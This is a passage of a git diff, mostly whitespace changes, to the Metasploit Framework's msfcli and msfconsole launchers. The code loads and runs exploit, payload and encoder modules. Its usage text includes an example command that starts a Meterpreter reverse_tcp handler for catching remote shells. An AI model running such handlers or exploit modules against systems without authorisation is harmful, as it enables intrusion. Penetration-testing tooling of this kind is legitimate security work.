<< ['(AC)tions', 'Show available actions for this auxiliary module'] - tbl << ['(C)heck', 'Run the check routine of the selected module'] - tbl << ['(E)xecute', 'Execute the selected module'] - - tbl.to_s - - $stdout.puts "Error: #{str}\n\n" if str - $stdout.puts tbl.to_s + "\n" - $stdout.puts "Examples:" + "\n" - $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" - $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" - $stdout.puts extra + "\n" if extra - $stdout.puts - end - - - # - # Loads up everything in framework, and then returns the module list - # - def dump_module_list - # This is what happens if the user doesn't specify a module name: - # msfcli will end up loading EVERYTHING to memory to show you a help - # menu plus a list of modules available. Really expensive if you ask me. - $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create - ext = '' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Exploits', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.exploits.each_module { |name, mod| - tbl << [ 'exploit/' + name, mod.new.name ] - } - ext << tbl.to_s + "\n" - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Auxiliary', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.auxiliary.each_module { |name, mod| - tbl << [ 'auxiliary/' + name, mod.new.name ] - } - - ext << tbl.to_s + "\n" - ext - end - - - # - # Payload naming style is kind of inconsistent, so instead of - # finding the exact path name, we provide the most educated guess (whitelist) - # based on platform/stage type/session type/payload name suffix/etc. - # - def guess_payload_name(p) - matches = [] - payload = p.split('/') - platform = payload[0] - suffix = payload[-1] - stage_types = ['singles', 'stagers', 'stages'] - session_types = ['meterpreter', 'shell'] - arch = '' - - # Rule out some possibilities - if p =~ /meterpreter/i - session_types.delete('shell') - stage_types.delete('singles') - end - if p =~ /shell\/.+$/i - session_types.delete('meterpreter') - stage_types.delete('singles') - end - - if p =~ /x64/i - arch = 'x64' - elsif p =~ /x86/i - arch = 'x86' - end - - # Determine if the payload is staged. If it is, then - # we need to load that staged module too. - if session_types.include?('shell') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/shell/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/shell/ - else - matches << /stages\/#{platform}\/shell/ - end - elsif session_types.include?('meterpreter') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/meterpreter/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/meterpreter/ - else - matches << /stages\/#{platform}\/meterpreter/ - end - end - - # Guess the second possible match - stage_types *= "|" - session_types *= "|" - - if arch == 'x64' - matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ - elsif arch == 'x86' - matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ - else - matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ - end - - matches - end - - - # - # Returns a whitelist for encoder modules - # - def guess_encoder_name(e) - [/encoders\/#{e}/] - end - - - # - # Returns a whitelist for nop modules - # - def guess_nop_name(n) - [/nops\/#{n}/] - end - - - # - # Returns a whitelist for post modules - # - def guess_post_name(p) - [/post\/#{p}/] - end - - - # - # Returns possible patterns like exploit/aux, encoders, nops we want to - # load to the whitelist. - # - def generate_whitelist - whitelist = [] - whitelist << /#{@args[:module_name]}/ # Add exploit - - # nil = not set, empty = manually set to load nothing - encoder_val = nil - nops_val = nil - post_val = nil - payload_param = '' - junk_args = [] - - @args[:params].each { |args| - var, val = args.split('=', 2) - - case var.downcase - when 'payload' - payload_param = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_payload_name(val)) - end - - when 'encoder' - encoder_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_encoder_name(val)) - end - - when 'nop' - nops_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_nop_name(val)) - end - - when 'post' - post_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_post_name(val)) - end - end - } - - # Cleanup empty args - junk_args.each { |args| @args[:params].delete(args) } - - # If it's an exploit and no payload set, load them all. - if @args[:module_name] !~ /auxiliary\// and payload_param.empty? - whitelist << /payloads\/.+/ - end - - # Add post modules list if not set - if post_val.nil? - whitelist << /post\/.+/ - end - - # Add default encoders if not set - # This one is needed no matter what - whitelist << /encoders\/generic\/*/ - if encoder_val.nil? - if payload_param =~ /^.+\.x64.+/ - whitelist << /encoders\/x64\/.+/ - elsif payload_param =~ /^.+\.x86.+/ - whitelist << /encoders\/x86\/.+/ - else - whitelist << /encoders\/.+/ - end - end - - # Add default NOP modules if not set - if nops_val.nil? - whitelist << /nops\/.+/ - end - - whitelist - end - - - # - # Initializes exploit/payload/encoder/nop modules. - # - def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) - $stdout.puts "[*] Initializing modules..." - - module_name = @args[:module_name] - modules = { - :module => nil, # aux or exploit instance - :payload => nil, # payload instance - :encoder => nil, # encoder instance - :nop => nil # nop instance - } - - whitelist = generate_whitelist - - # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) - print("Warning: The following modules could not be loaded!\n\n") - - @framework.modules.module_load_error_by_path.each do |path, error| - print("\t#{path}: #{error}\n\n") - end - - return {} - end - - # Determine what type of module it is - if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) - elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) - else - modules[:module] = @framework.exploits.create(module_name) - if modules[:module].nil? - # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) - end - end - - if modules[:module].nil? - # Still nil? Ok then, probably invalid - return {} - end - - modules[:module].init_ui( - Rex::Ui::Text::Input::Stdio.new, - Rex::Ui::Text::Output::Stdio.new - ) - - # Import options - begin - modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - rescue Rex::ArgumentParseError => e - raise e - end - - # Create the payload to use - if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) - if modules[:payload] - modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the encoder to use - if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) - if modules[:encoder] - modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the NOP to use - if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) - if modules[:nop] - modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - modules - end - - - def show_summary(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) - $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] - $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] - end - - - def show_options(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] - end - - - def show_advanced(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] - end - - - def show_ids_evasion(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] - end - - - def show_payloads(m) - readable = Msf::Serializer::ReadableText - txt = "Compatible payloads" - $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) - end - - - def show_targets(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) - end - - - def show_actions(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) - end - - - def show_check(m) - begin - if (code = m[:module].check_simple( - 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, - 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) - stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' - - $stdout.puts("#{stat} #{code[1]}") - else - $stdout.puts("Check failed: The state could not be determined.") - end - rescue - $stdout.puts("Check failed: #{$!}") - end - end - - - def execute_module(m) - con = Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - { - 'Framework' => @framework, - # When I use msfcli, chances are I want speed, so ASCII art fanciness - # probably isn't much of a big deal for me. - 'DisableBanner' => true - }) - - module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') - - con.run_single("use #{module_class}/#{m[:module].refname}") - - # Assign console parameters - @args[:params].each do |arg| - k,v = arg.split("=", 2) - con.run_single("set #{k} #{v}") - end - - # Run the exploit - con.run_single("exploit") - - # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 - con.run - else - con.run_single("quit") - end - end - - - # - # Selects a mode chosen by the user and run it - # - def engage_mode(modules) - case @args[:mode].downcase - when 'h' - usage - when "s" - show_summary(modules) - when "o" - show_options(modules) - when "a" - show_advanced(modules) - when "i" - show_ids_evasion(modules) - when "p" - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support payloads") - else - show_payloads(modules) - end - when "t" - puts - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support targets") - else - show_targets(modules) - end - when "ac" - if modules[:module].file_path =~ /auxiliary\//i - show_actions(modules) - else - $stdout.puts("\nError: This type of module does not support actions") - end - when "c" - show_check(modules) - when "e" - execute_module(modules) - else - usage("Invalid mode #{@args[:mode]}") - end - end - - - def run! - if @args[:module_name] == "-h" - usage() - exit - end - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' - require 'msfenv' - require 'msf/ui' - require 'msf/base' - - if @args[:module_name].nil? - ext = dump_module_list - usage(nil, ext) - exit - end - - begin - modules = init_modules - rescue Rex::ArgumentParseError => e - puts "[!] Error: #{e.message}\n\n" - exit - end - - if modules[:module].nil? - usage("Invalid module: #{@args[:module_name]}") - exit - end - - # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) - - engage_mode(modules) - $stdout.puts - end + def initialize(args) + @args = {} + @indent = ' ' + @framework = nil + + @args[:module_name] = args.shift # First argument should be the module name + @args[:mode] = args.pop || 'h' # Last argument should be the mode + @args[:params] = args # Whatever is in the middle should be the params + + if @args[:module_name] =~ /^exploit(s)*\//i + @args[:module_name] = @args[:module_name].split('/') + @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" + end + end + + # + # Returns a usage Rex table + # + def usage (str = nil, extra = nil) + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Usage: #{$0} <exploit_name> <option=value> [mode]", + 'Indent' => 4, + 'Columns' => ['Mode', 'Description'] + ) + + tbl << ['(H)elp', "You're looking at it baby!"] + tbl << ['(S)ummary', 'Show information about this module'] + tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(A)dvanced', 'Show available advanced options for this module'] + tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] + tbl << ['(P)ayloads', 'Show available payloads for this module'] + tbl << ['(T)argets', 'Show available targets for this exploit module'] + tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] + tbl << ['(C)heck', 'Run the check routine of the selected module'] + tbl << ['(E)xecute', 'Execute the selected module'] + + tbl.to_s + + $stdout.puts "Error: #{str}\n\n" if str + $stdout.puts tbl.to_s + "\n" + $stdout.puts "Examples:" + "\n" + $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" + $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" + $stdout.puts extra + "\n" if extra + $stdout.puts + end + + + # + # Loads up everything in framework, and then returns the module list + # + def dump_module_list + # This is what happens if the user doesn't specify a module name: + # msfcli will end up loading EVERYTHING to memory to show you a help + # menu plus a list of modules available. Really expensive if you ask me. + $stdout.puts "[*] Please wait while we load the module tree..." + framework = Msf::Simple::Framework.create + ext = '' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Exploits', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.exploits.each_module { |name, mod| + tbl << [ 'exploit/' + name, mod.new.name ] + } + ext << tbl.to_s + "\n" + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Auxiliary', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.auxiliary.each_module { |name, mod| + tbl << [ 'auxiliary/' + name, mod.new.name ] + } + + ext << tbl.to_s + "\n" + ext + end + + + # + # Payload naming style is kind of inconsistent, so instead of + # finding the exact path name, we provide the most educated guess (whitelist) + # based on platform/stage type/session type/payload name suffix/etc. + # + def guess_payload_name(p) + matches = [] + payload = p.split('/') + platform = payload[0] + suffix = payload[-1] + stage_types = ['singles', 'stagers', 'stages'] + session_types = ['meterpreter', 'shell'] + arch = '' + + # Rule out some possibilities + if p =~ /meterpreter/i + session_types.delete('shell') + stage_types.delete('singles') + end + if p =~ /shell\/.+$/i + session_types.delete('meterpreter') + stage_types.delete('singles') + end + + if p =~ /x64/i + arch = 'x64' + elsif p =~ /x86/i + arch = 'x86' + end + + # Determine if the payload is staged. If it is, then + # we need to load that staged module too. + if session_types.include?('shell') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/shell/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/shell/ + else + matches << /stages\/#{platform}\/shell/ + end + elsif session_types.include?('meterpreter') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/meterpreter/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/meterpreter/ + else + matches << /stages\/#{platform}\/meterpreter/ + end + end + + # Guess the second possible match + stage_types *= "|" + session_types *= "|" + + if arch == 'x64' + matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ + elsif arch == 'x86' + matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ + else + matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ + end + + matches + end + + + # + # Returns a whitelist for encoder modules + # + def guess_encoder_name(e) + [/encoders\/#{e}/] + end + + + # + # Returns a whitelist for nop modules + # + def guess_nop_name(n) + [/nops\/#{n}/] + end + + + # + # Returns a whitelist for post modules + # + def guess_post_name(p) + [/post\/#{p}/] + end + + + # + # Returns possible patterns like exploit/aux, encoders, nops we want to + # load to the whitelist. + # + def generate_whitelist + whitelist = [] + whitelist << /#{@args[:module_name]}/ # Add exploit + + # nil = not set, empty = manually set to load nothing + encoder_val = nil + nops_val = nil + post_val = nil + payload_param = '' + junk_args = [] + + @args[:params].each { |args| + var, val = args.split('=', 2) + next if val.nil? + + case var.downcase + when 'payload' + payload_param = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_payload_name(val)) + end + + when 'encoder' + encoder_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_encoder_name(val)) + end + + when 'nop' + nops_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_nop_name(val)) + end + + when 'post' + post_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_post_name(val)) + end + end + } + + # Cleanup empty args + junk_args.each { |args| @args[:params].delete(args) } + + # If it's an exploit and no payload set, load them all. + if @args[:module_name] !~ /auxiliary\// and payload_param.empty? + whitelist << /payloads\/.+/ + end + + # Add post modules list if not set + if post_val.nil? + whitelist << /post\/.+/ + end + + # Add default encoders if not set + # This one is needed no matter what + whitelist << /encoders\/generic\/*/ + if encoder_val.nil? + if payload_param =~ /^.+\.x64.+/ + whitelist << /encoders\/x64\/.+/ + elsif payload_param =~ /^.+\.x86.+/ + whitelist << /encoders\/x86\/.+/ + else + whitelist << /encoders\/.+/ + end + end + + # Add default NOP modules if not set + if nops_val.nil? + whitelist << /nops\/.+/ + end + + whitelist + end + + + # + # Initializes exploit/payload/encoder/nop modules. + # + def init_modules + @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + $stdout.puts "[*] Initializing modules..." + + module_name = @args[:module_name] + modules = { + :module => nil, # aux or exploit instance + :payload => nil, # payload instance + :encoder => nil, # encoder instance + :nop => nil # nop instance + } + + whitelist = generate_whitelist + + # Load up all the possible modules, this is where things get slow again + @framework.init_module_paths({:whitelist=>whitelist}) + if (@framework.modules.module_load_error_by_path.length > 0) + print("Warning: The following modules could not be loaded!\n\n") + + @framework.modules.module_load_error_by_path.each do |path, error| + print("\t#{path}: #{error}\n\n") + end + + return {} + end + + # Determine what type of module it is + if module_name =~ /exploit\/(.*)/ + modules[:module] = @framework.exploits.create($1) + elsif module_name =~ /auxiliary\/(.*)/ + modules[:module] = @framework.auxiliary.create($1) + else + modules[:module] = @framework.exploits.create(module_name) + if modules[:module].nil? + # Try falling back on aux modules + modules[:module] = @framework.auxiliary.create(module_name) + end + end + + if modules[:module].nil? + # Still nil? Ok then, probably invalid + return {} + end + + modules[:module].init_ui( + Rex::Ui::Text::Input::Stdio.new, + Rex::Ui::Text::Output::Stdio.new + ) + + # Import options + begin + modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + rescue Rex::ArgumentParseError => e + raise e + end + + # Create the payload to use + if (modules[:module].datastore['PAYLOAD']) + modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + if modules[:payload] + modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the encoder to use + if modules[:module].datastore['ENCODER'] + modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + if modules[:encoder] + modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the NOP to use + if modules[:module].datastore['NOP'] + modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + if modules[:nop] + modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + modules + end + + + def show_summary(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] + $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] + end + + + def show_options(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] + end + + + def show_advanced(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] + end + + + def show_ids_evasion(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] + end + + + def show_payloads(m) + readable = Msf::Serializer::ReadableText + txt = "Compatible payloads" + $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) + end + + + def show_targets(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) + end + + + def show_actions(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + end + + + def show_check(m) + begin + if (code = m[:module].check_simple( + 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, + 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) + stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' + + $stdout.puts("#{stat} #{code[1]}") + else + $stdout.puts("Check failed: The state could not be determined.") + end + rescue + $stdout.puts("Check failed: #{$!}") + end + end + + + def execute_module(m) + con = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + { + 'Framework' => @framework, + # When I use msfcli, chances are I want speed, so ASCII art fanciness + # probably isn't much of a big deal for me. + 'DisableBanner' => true + }) + + module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') + + con.run_single("use #{module_class}/#{m[:module].refname}") + + # Assign console parameters + @args[:params].each do |arg| + k,v = arg.split("=", 2) + con.run_single("set #{k} #{v}") + end + + # Run the exploit + con.run_single("exploit") + + # If we have sessions or jobs, keep running + if @framework.sessions.length > 0 or @framework.jobs.length > 0 + con.run + else + con.run_single("quit") + end + end + + + # + # Selects a mode chosen by the user and run it + # + def engage_mode(modules) + case @args[:mode].downcase + when 'h' + usage + when "s" + show_summary(modules) + when "o" + show_options(modules) + when "a" + show_advanced(modules) + when "i" + show_ids_evasion(modules) + when "p" + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support payloads") + else + show_payloads(modules) + end + when "t" + puts + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support targets") + else + show_targets(modules) + end + when "ac" + if modules[:module].file_path =~ /auxiliary\//i + show_actions(modules) + else + $stdout.puts("\nError: This type of module does not support actions") + end + when "c" + show_check(modules) + when "e" + execute_module(modules) + else + usage("Invalid mode #{@args[:mode]}") + end + end + + + def run! + if @args[:module_name] == "-h" + usage() + exit + end + + $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + require 'fastlib' + require 'msfenv' + require 'msf/ui' + require 'msf/base' + + if @args[:module_name].nil? + ext = dump_module_list + usage(nil, ext) + exit + end + + begin + modules = init_modules + rescue Rex::ArgumentParseError => e + puts "[!] Error: #{e.message}\n\n" + exit + end + + if modules[:module].nil? + usage("Invalid module: #{@args[:module_name]}") + exit + end + + # Process special var/val pairs... + Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + + engage_mode(modules) + $stdout.puts + end end if __FILE__ == $PROGRAM_NAME - cli = Msfcli.new(ARGV) - cli.run! + cli = Msfcli.new(ARGV) + cli.run! end diff --git a/msfconsole b/msfconsole index 86b79265cb..8a9b079156 100755 --- a/msfconsole +++ b/msfconsole @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.expand_path(File.dirname(msfbase)) @@ -25,126 +25,126 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" + $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" + $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" + $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end if is_svn - print_deprecation_warning + print_deprecation_warning end class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } + # + # Return a hash describing the options. + # + def self.parse(args) + options = { + 'DeferModuleLoads' => true + } - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" + opts = OptionParser.new do |opts| + opts.banner = "Usage: msfconsole [options]" - opts.separator "" - opts.separator "Specific options:" + opts.separator "" + opts.separator "Specific options:" - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end + opts.on("-d", "-d", "Execute the console as defanged") do + options['Defanged'] = true + end - opts.on("-r", "-r <filename>", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end + opts.on("-r", "-r <filename>", "Execute the specified resource file") do |r| + options['Resource'] ||= [] + options['Resource'] << r + end - opts.on("-o", "-o <filename>", "Output to the specified file") do |o| - options['LocalOutput'] = o - end + opts.on("-o", "-o <filename>", "Output to the specified file") do |o| + options['LocalOutput'] = o + end - opts.on("-c", "-c <filename>", "Load the specified configuration file") do |c| - options['Config'] = c - end + opts.on("-c", "-c <filename>", "Load the specified configuration file") do |c| + options['Config'] = c + end - opts.on("-m", "-m <directory>", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end + opts.on("-m", "-m <directory>", "Specifies an additional module search path") do |m| + options['ModulePath'] = m + end - opts.on("-p", "-p <plugin>", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end + opts.on("-p", "-p <plugin>", "Load a plugin on startup") do |p| + options['Plugins'] ||= [] + options['Plugins'] << p + end - opts.on("-y", "--yaml <database.yml>", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end + opts.on("-y", "--yaml <database.yml>", "Specify a YAML file containing database settings") do |m| + options['DatabaseYAML'] = m + end - opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end + opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m| + options['DatabaseMigrationPaths'] ||= [] + options['DatabaseMigrationPaths'] << m + end - opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end + opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m| + options['DatabaseEnv'] = m + end - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end + # Boolean switches + opts.on("-v", "--version", "Show version") do |v| + options['Version'] = true + end - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end + opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| + options['RealReadline'] = true + end - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end + opts.on("-n", "--no-database", "Disable database support") do |v| + options['DisableDatabase'] = true + end - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end + opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| + options['DisableBanner'] = true + end - opts.on("-x", "-x <command>", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end + opts.on("-x", "-x <command>", "Execute the specified string as console commands (use ; for multiples)") do |s| + options['XCommands'] ||= [] + options['XCommands'] += s.split(/\s*;\s*/) + end - opts.separator "" - opts.separator "Common options:" + opts.separator "" + opts.separator "Common options:" - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end + opts.on_tail("-h", "--help", "Show this message") do + puts opts + exit + end + end - begin 